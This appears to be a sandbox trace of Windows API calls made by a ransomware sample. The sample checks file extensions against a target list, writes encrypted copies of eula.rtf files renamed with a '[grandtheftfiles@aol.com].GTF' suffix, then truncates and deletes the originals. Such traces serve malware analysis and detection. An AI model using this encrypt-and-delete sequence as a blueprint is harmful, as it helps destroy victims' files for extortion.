	[0066.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".1cd") returned 4
	[0066.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".jpg") returned 4
	[0066.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".doc") returned 4
	[0066.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString=".docx") returned 5
	[0066.698] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.698] lstrlenW (lpString=".pdf") returned 4
	[0066.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString=".xls") returned 4
	[0066.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString=".xlsx") returned 5
	[0066.698] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.698] lstrlenW (lpString=".ppt") returned 4
	[0066.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".zip") returned 4
	[0066.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.698] lstrlenW (lpString=".rar") returned 4
	[0066.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString=".bz2") returned 4
	[0066.698] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString=".7z") returned 3
	[0066.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".dbf") returned 4
	[0066.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".1cd") returned 4
	[0066.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.698] lstrlenW (lpString=".jpg") returned 4
	[0066.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.699] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.699] lstrlenW (lpString="eula.rtf") returned 8
	[0066.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.699] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=12687) returned 1
	[0066.699] CloseHandle (hObject=0x2f8) returned 1
	[0066.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0066.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.699] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.699] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.711] GetLastError () returned 0x0
	[0066.711] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x318f, lpOverlapped=0x0) returned 1
	[0066.789] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3190, lpOverlapped=0x0) returned 1
	[0066.791] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.791] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.791] SetEndOfFile (hFile=0x31c) returned 1
	[0066.791] CloseHandle (hObject=0x31c) returned 1
	[0066.793] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.793] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.794] CloseHandle (hObject=0x2f8) returned 1
	[0066.794] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.794] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1
	[0066.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.794] lstrlenW (lpString=".doc") returned 4
	[0066.794] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString=".docx") returned 5
	[0066.795] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.795] lstrlenW (lpString=".pdf") returned 4
	[0066.795] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString=".xls") returned 4
	[0066.795] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.795] lstrlenW (lpString=".xlsx") returned 5
	[0066.795] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.795] lstrlenW (lpString=".ppt") returned 4
	[0066.795] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.795] lstrlenW (lpString=".zip") returned 4
	[0066.795] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.795] lstrlenW (lpString=".rar") returned 4
	[0066.795] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString=".bz2") returned 4
	[0066.795] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString=".7z") returned 3
	[0066.795] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.795] lstrlenW (lpString=".dbf") returned 4
	[0066.795] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.795] lstrlenW (lpString=".1cd") returned 4
	[0066.795] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.795] lstrlenW (lpString=".jpg") returned 4
	[0066.795] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.796] lstrlenW (lpString=".doc") returned 4
	[0066.796] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString=".docx") returned 5
	[0066.796] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.796] lstrlenW (lpString=".pdf") returned 4
	[0066.796] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString=".xls") returned 4
	[0066.796] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.796] lstrlenW (lpString=".xlsx") returned 5
	[0066.796] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.796] lstrlenW (lpString=".ppt") returned 4
	[0066.796] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.796] lstrlenW (lpString=".zip") returned 4
	[0066.796] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.796] lstrlenW (lpString=".rar") returned 4
	[0066.796] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString=".bz2") returned 4
	[0066.796] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString=".7z") returned 3
	[0066.796] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.796] lstrlenW (lpString=".dbf") returned 4
	[0066.796] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.796] lstrlenW (lpString=".1cd") returned 4
	[0066.796] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.796] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35
	[0066.797] lstrlenW (lpString=".jpg") returned 4
	[0066.797] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.797] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.797] lstrlenW (lpString="eula.rtf") returned 8
	[0066.797] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.809] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3546) returned 1
	[0066.809] CloseHandle (hObject=0x304) returned 1
	[0066.809] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0066.809] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.809] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.809] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.834] GetLastError () returned 0x0
	[0066.834] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xdda, lpOverlapped=0x0) returned 1
	[0066.836] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xde0, lpOverlapped=0x0) returned 1
	[0066.837] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.837] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.838] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.838] CloseHandle (hObject=0x2f8) returned 1
	[0066.839] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.839] SetEndOfFile (hFile=0x304) returned 1
	[0066.849] CloseHandle (hObject=0x304) returned 1
	[0066.849] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.849] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1
	[0066.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.849] lstrlenW (lpString=".doc") returned 4
	[0066.849] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.849] lstrlenW (lpString=".docx") returned 5
	[0066.850] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.850] lstrlenW (lpString=".pdf") returned 4
	[0066.850] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString=".xls") returned 4
	[0066.850] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.850] lstrlenW (lpString=".xlsx") returned 5
	[0066.850] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.850] lstrlenW (lpString=".ppt") returned 4
	[0066.850] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.850] lstrlenW (lpString=".zip") returned 4
	[0066.850] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.850] lstrlenW (lpString=".rar") returned 4
	[0066.850] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString=".bz2") returned 4
	[0066.850] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString=".7z") returned 3
	[0066.850] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.850] lstrlenW (lpString=".dbf") returned 4
	[0066.850] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.850] lstrlenW (lpString=".1cd") returned 4
	[0066.850] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.850] lstrlenW (lpString=".jpg") returned 4
	[0066.850] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.850] lstrlenW (lpString=".doc") returned 4
	[0066.850] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.850] lstrlenW (lpString=".docx") returned 5
	[0066.850] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.850] lstrlenW (lpString=".pdf") returned 4
	[0066.850] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.851] lstrlenW (lpString=".xls") returned 4
	[0066.851] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.851] lstrlenW (lpString=".xlsx") returned 5
	[0066.851] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.851] lstrlenW (lpString=".ppt") returned 4
	[0066.851] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.851] lstrlenW (lpString=".zip") returned 4
	[0066.851] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.851] lstrlenW (lpString=".rar") returned 4
	[0066.851] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.851] lstrlenW (lpString=".bz2") returned 4
	[0066.851] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.851] lstrlenW (lpString=".7z") returned 3
	[0066.851] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.851] lstrlenW (lpString=".dbf") returned 4
	[0066.851] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.851] lstrlenW (lpString=".1cd") returned 4
	[0066.851] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0066.851] lstrlenW (lpString=".jpg") returned 4
	[0066.851] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.851] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.851] lstrlenW (lpString="eula.rtf") returned 8
	[0066.851] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.852] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3046) returned 1
	[0066.852] CloseHandle (hObject=0x304) returned 1
	[0066.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0066.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.852] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.852] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.869] GetLastError () returned 0x0
	[0066.869] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xbe6, lpOverlapped=0x0) returned 1
	[0066.935] WriteFile (in: hFile=0x314, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0066.936] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.936] WriteFile (in: hFile=0x314, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.936] SetEndOfFile (hFile=0x314) returned 1
	[0066.936] CloseHandle (hObject=0x314) returned 1
	[0066.938] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.938] SetEndOfFile (hFile=0x304) returned 1
	[0066.939] CloseHandle (hObject=0x304) returned 1
	[0066.939] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.939] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1
	[0066.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.940] lstrlenW (lpString=".doc") returned 4
	[0066.940] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.940] lstrlenW (lpString=".docx") returned 5
	[0066.940] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.940] lstrlenW (lpString=".pdf") returned 4
	[0066.940] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.940] lstrlenW (lpString=".xls") returned 4
	[0066.940] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.940] lstrlenW (lpString=".xlsx") returned 5
	[0066.940] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.940] lstrlenW (lpString=".ppt") returned 4
	[0066.940] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.940] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.940] lstrlenW (lpString=".zip") returned 4
	[0066.940] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.940] lstrlenW (lpString=".rar") returned 4
	[0066.940] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.940] lstrlenW (lpString=".bz2") returned 4
	[0066.940] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.940] lstrlenW (lpString=".7z") returned 3
	[0066.940] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.941] lstrlenW (lpString=".dbf") returned 4
	[0066.941] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.941] lstrlenW (lpString=".1cd") returned 4
	[0066.941] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.941] lstrlenW (lpString=".jpg") returned 4
	[0066.941] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.941] lstrlenW (lpString=".doc") returned 4
	[0066.941] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString=".docx") returned 5
	[0066.941] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.941] lstrlenW (lpString=".pdf") returned 4
	[0066.941] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString=".xls") returned 4
	[0066.941] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.941] lstrlenW (lpString=".xlsx") returned 5
	[0066.941] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.941] lstrlenW (lpString=".ppt") returned 4
	[0066.941] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.941] lstrlenW (lpString=".zip") returned 4
	[0066.941] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.941] lstrlenW (lpString=".rar") returned 4
	[0066.941] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString=".bz2") returned 4
	[0066.941] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.941] lstrlenW (lpString=".7z") returned 3
	[0066.942] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.942] lstrlenW (lpString=".dbf") returned 4
	[0066.942] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
